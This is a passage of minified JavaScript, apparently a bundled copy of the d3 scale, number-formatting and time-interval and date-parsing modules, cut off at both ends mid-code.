eL(e,t){t===void 0&&(t=e,e=ds);for(var n=0,r=t.length-1,i=t[0],a=new Array(r<0?0:r);n<r;)a[n]=e(i,i=t[++n]);return function(o){var l=Math.max(0,Math.min(r-1,Math.floor(o*=r)));return a[l](o-l)}}function tL(e){return function(){return e}}function yu(e){return+e}var O1=[0,1];function Mt(e){return e}function sh(e,t){return(t-=e=+e)?function(n){return(n-e)/t}:tL(isNaN(t)?NaN:.5)}function nL(e,t){var n;return e>t&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function rL(e,t,n){var r=e[0],i=e[1],a=t[0],o=t[1];return i<r?(r=sh(i,r),a=n(o,a)):(r=sh(r,i),a=n(a,o)),function(l){return a(r(l))}}function iL(e,t,n){var r=Math.min(e.length,t.length)-1,i=new Array(r),a=new Array(r),o=-1;for(e[r]<e[0]&&(e=e.slice().reverse(),t=t.slice().reverse());++o<r;)i[o]=sh(e[o],e[o+1]),a[o]=n(t[o],t[o+1]);return function(l){var c=tl(e,l,1,r)-1;return a[c](i[c](l))}}function rl(e,t){return t.domain(e.domain()).range(e.range()).interpolate(e.interpolate()).clamp(e.clamp()).unknown(e.unknown())}function Bd(){var e=O1,t=O1,n=ds,r,i,a,o=Mt,l,c,u;function d(){var m=Math.min(e.length,t.length);return o!==Mt&&(o=nL(e[0],e[m-1])),l=m>2?iL:rL,c=u=null,f}function f(m){return m==null||isNaN(m=+m)?a:(c||(c=l(e.map(r),t,n)))(r(o(m)))}return f.invert=function(m){return o(i((u||(u=l(t,e.map(r),gu)))(m)))},f.domain=function(m){return arguments.length?(e=Array.from(m,yu),d()):e.slice()},f.range=function(m){return arguments.length?(t=Array.from(m),d()):t.slice()},f.rangeRound=function(m){return t=Array.from(m),n=Qx,d()},f.clamp=function(m){return arguments.length?(o=m?!0:Mt,d()):o!==Mt},f.interpolate=function(m){return arguments.length?(n=m,d()):n},f.unknown=function(m){return arguments.length?(a=m,f):a},function(m,h){return r=m,i=h,d()}}function Jx(){return Bd()(Mt,Mt)}function aL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function bu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ja(e){return e=bu(Math.abs(e)),e?e[1]:NaN}function sL(e,t){return function(n,r){for(var i=n.length,a=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),a.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return a.reverse().join(t)}}function oL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var lL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function $o(e){if(!(t=lL.exec(e)))throw new Error("invalid format: "+e);var t;return new e0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}$o.prototype=e0.prototype;function e0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}e0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function cL(e){e:for(var t=e.length,n=1,r=-1,i;n<t;++n)switch(e[n]){case".":r=i=n;break;case"0":r===0&&(r=n),i=n;break;default:if(!+e[n])break e;r>0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var wu;function uL(e,t){var n=bu(e,t);if(!n)return wu=void 0,e.toPrecision(t);var r=n[0],i=n[1],a=i-(wu=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return a===o?r:a>o?r+new Array(a-o+1).join("0"):a>0?r.slice(0,a)+"."+r.slice(a):"0."+new Array(1-a).join("0")+bu(e,Math.max(0,t+a-1))[0]}function T1(e,t){var n=bu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const M1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:aL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>T1(e*100,t),r:T1,s:uL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function L1(e){return e}var I1=Array.prototype.map,D1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function dL(e){var t=e.grouping===void 0||e.thousands===void 0?L1:sL(I1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",a=e.numerals===void 0?L1:oL(I1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,m){f=$o(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,k=f.trim,S=f.type;S==="n"?(w=!0,S="g"):M1[S]||(j===void 0&&(j=12),k=!0,S="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var N=(m&&m.prefix!==void 0?m.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(S)?"0"+S.toLowerCase():""),z=(y==="$"?r:/[%p]/.test(S)?o:"")+(m&&m.suffix!==void 0?m.suffix:""),_=M1[S],A=/[defgprs%]/.test(S);j=j===void 0?6:/[gprs]/.test(S)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var I=N,U=z,D,M,F;if(S==="c")U=_(P)+U,P="";else{P=+P;var R=P<0||1/P<0;if(P=isNaN(P)?c:_(Math.abs(P),j),k&&(P=cL(P)),R&&+P==0&&g!=="+"&&(R=!1),I=(R?g==="("?g:l:g==="-"||g==="("?"":g)+I,U=(S==="s"&&!isNaN(P)&&wu!==void 0?D1[8+wu/3]:"")+U+(R&&g==="("?")":""),A){for(D=-1,M=P.length;++D<M;)if(F=P.charCodeAt(D),48>F||F>57){U=(F===46?i+P.slice(D+1):P.slice(D))+U,P=P.slice(0,D);break}}}w&&!v&&(P=t(P,1/0));var W=I.length+P.length+U.length,$=W<b?new Array(b-W+1).join(h):"";switch(w&&v&&(P=t($+P,$.length?b-U.length:1/0),$=""),x){case"<":P=I+P+U+$;break;case"=":P=I+$+P+U;break;case"^":P=$.slice(0,W=$.length>>1)+I+P+U+$.slice(W);break;default:P=$+I+P+U;break}return a(P)}return O.toString=function(){return f+""},O}function d(f,m){var h=Math.max(-8,Math.min(8,Math.floor(Ja(m)/3)))*3,x=Math.pow(10,-h),g=u((f=$o(f),f.type="f",f),{suffix:D1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ul,t0,RN;fL({thousands:",",grouping:[3],currency:["$",""]});function fL(e){return Ul=dL(e),t0=Ul.format,RN=Ul.formatPrefix,Ul}function pL(e){return Math.max(0,-Ja(Math.abs(e)))}function mL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ja(t)/3)))*3-Ja(Math.abs(e)))}function hL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ja(t)-Ja(e))+1}function $N(e,t,n,r){var i=nh(e,t,n),a;switch(r=$o(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(a=mL(i,o))&&(r.precision=a),RN(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(a=hL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=a-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(a=pL(i))&&(r.precision=a-(r.type==="%")*2);break}}return t0(r)}function ji(e){var t=e.domain;return e.ticks=function(n){var r=t();return eh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return $N(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,a=r.length-1,o=r[i],l=r[a],c,u,d=10;for(l<o&&(u=o,o=l,l=u,u=i,i=a,a=u);d-- >0;){if(u=th(o,l,n),u===c)return r[i]=o,r[a]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function BN(){var e=Jx();return e.copy=function(){return rl(e,BN())},Pn.apply(e,arguments),ji(e)}function FN(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,yu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return FN(e).unknown(t)},e=arguments.length?Array.from(e,yu):[0,1],ji(n)}function WN(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],a=e[r],o;return a<i&&(o=n,n=r,r=o,o=i,i=a,a=o),e[n]=t.floor(i),e[r]=t.ceil(a),e}function R1(e){return Math.log(e)}function $1(e){return Math.exp(e)}function xL(e){return-Math.log(-e)}function vL(e){return-Math.exp(-e)}function gL(e){return isFinite(e)?+("1e"+e):e<0?0:e}function yL(e){return e===10?gL:e===Math.E?Math.exp:t=>Math.pow(e,t)}function bL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function B1(e){return(t,n)=>-e(-t,n)}function n0(e){const t=e(R1,$1),n=t.domain;let r=10,i,a;function o(){return i=bL(r),a=yL(r),n()[0]<0?(i=B1(i),a=B1(a),e(xL,vL)):e(R1,$1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d<u;f&&([u,d]=[d,u]);let m=i(u),h=i(d),x,g;const y=l==null?10:+l;let v=[];if(!(r%1)&&h-m<y){if(m=Math.floor(m),h=Math.ceil(h),u>0){for(;m<=h;++m)for(x=1;x<r;++x)if(g=m<0?x/a(-m):x*a(m),!(g<u)){if(g>d)break;v.push(g)}}else for(;m<=h;++m)for(x=r-1;x>=1;--x)if(g=m>0?x/a(-m):x*a(m),!(g<u)){if(g>d)break;v.push(g)}v.length*2<y&&(v=eh(u,d,y))}else v=eh(m,h,Math.min(h-m,y)).map(a);return f?v.reverse():v},t.tickFormat=(l,c)=>{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=$o(c)).precision==null&&(c.trim=!0),c=t0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/a(Math.round(i(d)));return f*r<r-.5&&(f*=r),f<=u?c(d):""}},t.nice=()=>n(WN(n(),{floor:l=>a(Math.floor(i(l))),ceil:l=>a(Math.ceil(i(l)))})),t}function UN(){const e=n0(Bd()).domain([1,10]);return e.copy=()=>rl(e,UN()).base(e.base()),Pn.apply(e,arguments),e}function F1(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function W1(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function r0(e){var t=1,n=e(F1(t),W1(t));return n.constant=function(r){return arguments.length?e(F1(t=+r),W1(t)):t},ji(n)}function VN(){var e=r0(Bd());return e.copy=function(){return rl(e,VN()).constant(e.constant())},Pn.apply(e,arguments)}function U1(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function wL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function jL(e){return e<0?-e*e:e*e}function i0(e){var t=e(Mt,Mt),n=1;function r(){return n===1?e(Mt,Mt):n===.5?e(wL,jL):e(U1(n),U1(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},ji(t)}function a0(){var e=i0(Bd());return e.copy=function(){return rl(e,a0()).exponent(e.exponent())},Pn.apply(e,arguments),e}function kL(){return a0.apply(null,arguments).exponent(.5)}function V1(e){return Math.sign(e)*e*e}function NL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function HN(){var e=Jx(),t=[0,1],n=!1,r;function i(a){var o=NL(e(a));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(a){return e.invert(V1(a))},i.domain=function(a){return arguments.length?(e.domain(a),i):e.domain()},i.range=function(a){return arguments.length?(e.range((t=Array.from(a,yu)).map(V1)),i):t.slice()},i.rangeRound=function(a){return i.range(a).round(!0)},i.round=function(a){return arguments.length?(n=!!a,i):n},i.clamp=function(a){return arguments.length?(e.clamp(a),i):e.clamp()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return HN(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Pn.apply(i,arguments),ji(i)}function KN(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o<l;)n[o-1]=P8(e,o/l);return a}function a(o){return o==null||isNaN(o=+o)?r:t[tl(n,o)]}return a.invertExtent=function(o){var l=t.indexOf(o);return l<0?[NaN,NaN]:[l>0?n[l-1]:e[0],l<n.length?n[l]:e[e.length-1]]},a.domain=function(o){if(!arguments.length)return e.slice();e=[];for(let l of o)l!=null&&!isNaN(l=+l)&&e.push(l);return e.sort(fi),i()},a.range=function(o){return arguments.length?(t=Array.from(o),i()):t.slice()},a.unknown=function(o){return arguments.length?(r=o,a):r},a.quantiles=function(){return n.slice()},a.copy=function(){return KN().domain(e).range(t).unknown(r)},Pn.apply(a,arguments)}function qN(){var e=0,t=1,n=1,r=[.5],i=[0,1],a;function o(c){return c!=null&&c<=c?i[tl(r,c,0,n)]:a}function l(){var c=-1;for(r=new Array(n);++c<n;)r[c]=((c+1)*t-(c-n)*e)/(n+1);return o}return o.domain=function(c){return arguments.length?([e,t]=c,e=+e,t=+t,l()):[e,t]},o.range=function(c){return arguments.length?(n=(i=Array.from(c)).length-1,l()):i.slice()},o.invertExtent=function(c){var u=i.indexOf(c);return u<0?[NaN,NaN]:u<1?[e,r[0]]:u>=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(a=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return qN().domain([e,t]).range(i).unknown(a)},Pn.apply(ji(o),arguments)}function YN(){var e=[.5],t=[0,1],n,r=1;function i(a){return a!=null&&a<=a?t[tl(e,a,0,r)]:n}return i.domain=function(a){return arguments.length?(e=Array.from(a),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(a){return arguments.length?(t=Array.from(a),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(a){var o=t.indexOf(a);return[e[o-1],e[o]]},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return YN().domain(e).range(t).unknown(n)},Pn.apply(i,arguments)}const sp=new Date,op=new Date;function pt(e,t,n,r){function i(a){return e(a=arguments.length===0?new Date:new Date(+a)),a}return i.floor=a=>(e(a=new Date(+a)),a),i.ceil=a=>(e(a=new Date(a-1)),t(a,1),e(a),a),i.round=a=>{const o=i(a),l=i.ceil(a);return a-o<l-a?o:l},i.offset=(a,o)=>(t(a=new Date(+a),o==null?1:Math.floor(o)),a),i.range=(a,o,l)=>{const c=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a<o)||!(l>0))return c;let u;do c.push(u=new Date(+a)),t(a,l),e(a);while(u<a&&a<o);return c},i.filter=a=>pt(o=>{if(o>=o)for(;e(o),!a(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!a(o););else for(;--l>=0;)for(;t(o,1),!a(o););}),n&&(i.count=(a,o)=>(sp.setTime(+a),op.setTime(+o),e(sp),e(op),Math.floor(n(sp,op))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(r?o=>r(o)%a===0:o=>i.count(0,o)%a===0):i)),i}const ju=pt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ju.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?pt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ju);ju.range;const yr=1e3,jn=yr*60,br=jn*60,Ar=br*24,s0=Ar*7,H1=Ar*30,lp=Ar*365,Bi=pt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*yr)},(e,t)=>(t-e)/yr,e=>e.getUTCSeconds());Bi.range;const o0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getMinutes());o0.range;const l0=pt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*jn)},(e,t)=>(t-e)/jn,e=>e.getUTCMinutes());l0.range;const c0=pt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*yr-e.getMinutes()*jn)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getHours());c0.range;const u0=pt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*br)},(e,t)=>(t-e)/br,e=>e.getUTCHours());u0.range;const il=pt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*jn)/Ar,e=>e.getDate()-1);il.range;const Fd=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>e.getUTCDate()-1);Fd.range;const GN=pt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ar,e=>Math.floor(e/Ar));GN.range;function ca(e){return pt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*jn)/s0)}const Wd=ca(0),ku=ca(1),SL=ca(2),zL=ca(3),es=ca(4),CL=ca(5),PL=ca(6);Wd.range;ku.range;SL.range;zL.range;es.range;CL.range;PL.range;function ua(e){return pt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/s0)}const Ud=ua(0),Nu=ua(1),EL=ua(2),AL=ua(3),ts=ua(4),_L=ua(5),OL=ua(6);Ud.range;Nu.range;EL.range;AL.range;ts.range;_L.range;OL.range;const d0=pt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());d0.range;const f0=pt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());f0.range;const _r=pt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_r.range;const Or=pt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Or.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:pt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Or.range;function XN(e,t,n,r,i,a){const o=[[Bi,1,yr],[Bi,5,5*yr],[Bi,15,15*yr],[Bi,30,30*yr],[a,1,jn],[a,5,5*jn],[a,15,15*jn],[a,30,30*jn],[i,1,br],[i,3,3*br],[i,6,6*br],[i,12,12*br],[r,1,Ar],[r,2,2*Ar],[n,1,s0],[t,1,H1],[t,3,3*H1],[e,1,lp]];function l(u,d,f){const m=d<u;m&&([u,d]=[d,u]);const h=f&&typeof f.range=="function"?f:c(u,d,f),x=h?h.range(u,+d+1):[];return m?x.reverse():x}function c(u,d,f){const m=Math.abs(d-u)/f,h=qx(([,,y])=>y).right(o,m);if(h===o.length)return e.every(nh(u/lp,d/lp,f));if(h===0)return ju.every(Math.max(nh(u,d,f),1));const[x,g]=o[m/o[h-1][2]<o[h][2]/m?h-1:h];return x.every(g)}return[l,c]}const[TL,ML]=XN(Or,f0,Ud,GN,u0,l0),[LL,IL]=XN(_r,d0,Wd,il,c0,o0);function cp(e){if(0<=e.y&&e.y<100){var t=new Date(-1,e.m,e.d,e.H,e.M,e.S,e.L);return t.setFullYear(e.y),t}return new Date(e.y,e.m,e.d,e.H,e.M,e.S,e.L)}function up(e){if(0<=e.y&&e.y<100){var t=new Date(Date.UTC(-1,e.m,e.d,e.H,e.M,e.S,e.L));return t.setUTCFullYear(e.y),t}return new Date(Date.UTC(e.y,e.m,e.d,e.H,e.M,e.S,e.L))}function Ls(e,t,n){return{y:e,m:t,d:n,H:0,M:0,S:0,L:0}}function DL(e){var t=e.dateTime,n=e.date,r=e.time,i=e.periods,a=e.days,o=e.shortDays,l=e.months,c=e.shortMonths,u=Is(i),d=Ds(i),f=Is(a),m=Ds(a),h=Is(o),x=Ds(o),g=Is(l),y=Ds(l),v=Is(c),b=Ds(c),w={a:F,A:R,b:W,B:$,c:null,d:Z1,e:Z1,f:s7,g:x7,G:g7,H:r7,I:i7,j:a7,L:ZN,m:o7,M:l7,p:H,q:X,Q:eb,s:tb,S:c7,u:u7,U:d7,V:f7,w:p7,W:m7,x:null,X:null,y:h7,Y:v7,Z:y7,"%":J1},j={a:se,A:ue,b:ge,B:xe,c:null,d:Q1,e:Q1,f:k7,g:T7,G:L7,H:b7,I:w7,j:j7,L:JN,m:N7,M:S7,p:Y,q:ee,Q:eb,s:tb,S:z7,u:C7,U:P7,V:E7,w:A7,W:_7,x:null,X:null,y:O7,Y:M7,Z:I7,"%":J1},k={a:A,A:O,b:P,B:I,c:U,d:G1,e:G1,f:JL,g:Y1,G:q1,H:X1,I:X1,j:GL,L:QL,m:YL,M:XL,p:_,q:qL,Q:t7,s:n7,S:ZL,u:WL,U:UL,V:VL,w:FL,W:HL,x:D,X:M,y:Y1,Y:q1,Z:KL,"%":e7};w.x=S(n,w),w.X=S(r,w),w.c=S(t,w),j.x=S(n,j),j.X=S(r,j),j.c=S(t,j);function S(C,K){return function(ne){var B=[],ie=-1,ve=0,we=C.length,_e,L,de;for(ne instanceof Date||(ne=new Date(+ne));++ie<we;)C.charCodeAt(ie)===37&&(B.push(C.slice(ve,ie)),(L=K1[_e=C.charAt(++ie)])!=null?_e=C.charAt(++ie):L=_e==="e"?" ":"0",(de=K[_e])&&(_e=de(ne,L)),B.push(_e),ve=ie+1);return B.push(C.slice(ve,ie)),B.join("")}}function N(C,K){return function(ne){var B=Ls(1900,void 0,1),ie=z(B,C,ne+="",0),ve,we;if(ie!=ne.length)return null;if("Q"in B)return new Date(B.Q);if("s"in B)return new Date(B.s*1e3+("L"in B?B.L:0));if(K&&!("Z"in B)&&(B.Z=0),"p"in B&&(B.H=B.H%12+B.p*12),B.m===void 0&&(B.m="q"in B?B.q:0),"V"in B){if(B.V<1||B.V>53)return null;"w"in B||(B.w=1),"Z"in B?(ve=up(Ls(B.y,0,1)),we=ve.getUTCDay(),ve=we>4||we===0?Nu.ceil(ve):Nu(ve),ve=Fd.offset(ve,(B.V-1)*7),B.y=ve.getUTCFullYear(),B.m=ve.getUTCMonth(),B.d=ve.getUTCDate()+(B.w+6)%7):(ve=cp(Ls(B.y,0,1)),we=ve.getDay(),ve=we>4||we===0?ku.ceil(ve):ku(ve),ve=il.offset(ve,(B.V-1)*7),B.y=ve.getFullYear(),B.m=ve.getMonth(),B.d=ve.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),we="Z"in B?up(Ls(B.y,0,1)).getUTCDay():cp(Ls(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(we+5)%7:B.w+B.U*7-(we+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,up(B)):cp(B)}}function z(C,K,ne,B){for(var ie=0,ve=K.length,we=ne.length,_e,L;ie<ve;){if(B>=we)return-1;if(_e=K.charCodeAt(ie++),_e===37){if(_e=K.charAt(ie++),L=k[_e in K1?K.charAt(ie++):_e],!L||(B=L(C,ne,B))<0)return-1}else if(_e!=ne.charCodeAt(B++))return-1}return B}function _(C,K,ne){var B=u.exec(K.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,K,ne){var B=h.exec(K.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function O(C,K,ne){var B=f.exec(K.slice(ne));return B?(C.w=m.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,K,ne){var B=v.exec(K.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function I(C,K,ne){var B=g.exec(K.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function U(C,K,ne){return z(C,t,K,ne)}function D(C,K,ne){return z(C,n,K,ne)}function M(C,K,ne){return z(C,r,K,ne)}function F(C){return o[C.getDay()]}function R(C){return a[C.getDay()]}function W(C){return c[C.getMonth()]}function $(C){return l[C.getMonth()]}function H(C){return i[+(C.getHours()>=12)]}function X(C){return 1+~~(C.getMonth()/3)}function se(C){return o[C.getUTCDay()]}function ue(C){return a[C.getUTCDay()]}function ge(C){return c[C.getUTCMonth()]}function xe(C){return l[C.getUTCMonth()]}function Y(C){return i[+(C.getUTCHours()>=12)]}function ee(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var K=S(C+="",w);return K.toString=function(){return C},K},parse:function(C){var K=N(C+="",!1);return K.toString=function(){return C},K},utcFormat:function(C){var K=S(C+="",j);return K.toString=function(){return C},K},utcParse:function(C){var K=N(C+="",!0);return K.toString=function(){return C},K}}}var K1={"-":"",_:" ",0:"0"},bt=/^\s*\d+/,RL=/^%/,$L=/[\\^$*+?|[\]().{}]/g;function Ce(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",a=i.length;return r+(a<n?new Array(n-a+1).join(t)+i:i)}function BL(e){return e.replace($L,"\\$&")}function Is(e){return new RegExp("^(?:"+e.map(BL).join("|")+")","i")}function Ds(e){return new Map(e.map((t,n)=>[t.toLowerCase(),n]))}function FL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function WL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function q1(e,t,n){var r=bt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function Y1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function KL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function qL(e,t,n){var r=bt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function YL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function G1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function GL(e,t,n){var r=bt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function X1(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function ZL(e,t,n){var r=bt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function 